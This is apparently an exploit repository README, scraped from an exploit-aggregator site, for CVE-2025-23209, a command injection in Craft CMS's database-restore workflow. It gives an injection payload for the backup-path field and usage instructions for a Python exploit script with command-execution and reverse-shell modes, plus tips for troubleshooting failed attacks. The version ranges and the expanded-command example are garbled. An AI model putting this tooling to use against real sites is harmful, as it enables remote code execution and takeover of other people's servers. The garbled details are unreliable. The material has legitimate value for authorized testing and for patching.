## https://sploitus.com/exploit?id=F7C78CE4-C5D3-5E0B-BD38-4E48F9F8B556
# CVE-2025-23209
For authorized security testing and research environments only.
## Vulnerability Summary
`CVE-2025-23209` is a command-injection flaw in Craft CMS' database-restore workflow.
In affected versions, an attacker-controlled backup-path value can move from signed request data into shell command construction without context-safe sanitization.
Affected ranges:
- Craft CMS `>= 4.0.0-RC1` and `= 5.0.0-RC1` and ` Request validation layer
-> getValidatedBodyParam('data')
-> JSON decode
-> Updater restore action
-> DB connection restore(filePath)
-> restore command template expansion
-> shell/process execution
```
### 1. Request Integrity vs Request Safety
Craft validates request integrity through:
1. CSRF/session checks for POST actions
2. Signed body parameter verification using `CRAFT_SECURITY_KEY`
Conceptual snippet:
```php
$validated = Craft::$app->getRequest()->getValidatedBodyParam('data');
$this->data = Json::decode($validated);
```
This proves payload authenticity relative to the key, but does not guarantee that each field is safe for every later execution context.
### 2. Restore Workflow Boundary
At a high level:
1. Controller receives validated payload
2. `dbBackupPath` is read from payload
3. DB restore API is called with that value
Conceptual shape:
```php
Craft::$app->getDb()->restore($this->data['dbBackupPath']);
```
The risk begins when a data field intended to represent a file path is later embedded into shell command text.
### 3. Token Expansion and Shell Context
For MySQL-backed installs, restore operations rely on command templates with token substitution (for example `{file}`).
If token replacement is performed as plain string substitution without strict command-context escaping, path data can become shell syntax.
### 4. Process Execution Boundary
After expansion, the command string is executed by a process/shell wrapper.
At this point, quoting rules and metacharacters control behavior.
A value treated as "just a path" at application level may be interpreted as executable syntax at shell level.
### 5.Threat Model Gap
- If `CRAFT_SECURITY_KEY` leakage is possible, signed endpoints must still assume maliciously crafted but valid payloads.
### 6.Command Injection
If `dbBackupPath` = `"; whoami #`
The command becomes:
```bash
mysql --defaults-file=/tmp/xxx dbname &CRAFT_CSRF_TOKEN=
```
## Exploit Preconditions
- Compromised `CRAFT_SECURITY_KEY`
- Access to Craft CMS updater endpoints
- Valid CSRF/session context (or bypass)
## Script Usage
This repository includes:
- `CVE_2025_23209.py`
What it automates:
1. Builds a `dbBackupPath` payload
2. Attempts CSRF/session bootstrap from common CP pages
3. Signs payload in compatible modes
4. Tries common updater endpoint variants
5. Sends request and prints diagnostic hints
### Requirements
- Python 3.9+
- `requests`
Install:
```bash
python3 -m pip install requests
```
### CLI Help
```bash
python3 CVE_2025_23209.py -h
```
### Basic Command Execution
```bash
python3 CVE_2025_23209.py \
--url http:// \
--security-key \
--command "id"
```
### Reverse Shell Mode
```bash
python3 CVE_2025_23209.py \
--url http:// \
--security-key \
--lhost \
--lport 4444
```
### Signature Mode
```bash
--signature-mode auto|hex|raw_b64|blob_b64
```
`auto` is recommended for compatibility checks.
## Interpreting Common Responses
### `400 Unable to verify your data submission.`
Usually means one of:
1. Incorrect `CRAFT_SECURITY_KEY`
2. CSRF/session bootstrap failure
3. Endpoint route mismatch
4. Signature mode mismatch
### `302` Redirect
Usually indicates route/auth/session behavior differences in that deployment.
### `Invalid backup path` style error
Typically indicates patched/hardened path checks are active.
## Responsible Use
Use this information only on systems you own or are explicitly authorized to test.
Do not run exploit code against third-party infrastructure without written permission.
## References
- NVD:
- GHSA advisory:
- Craft CMS patch commit: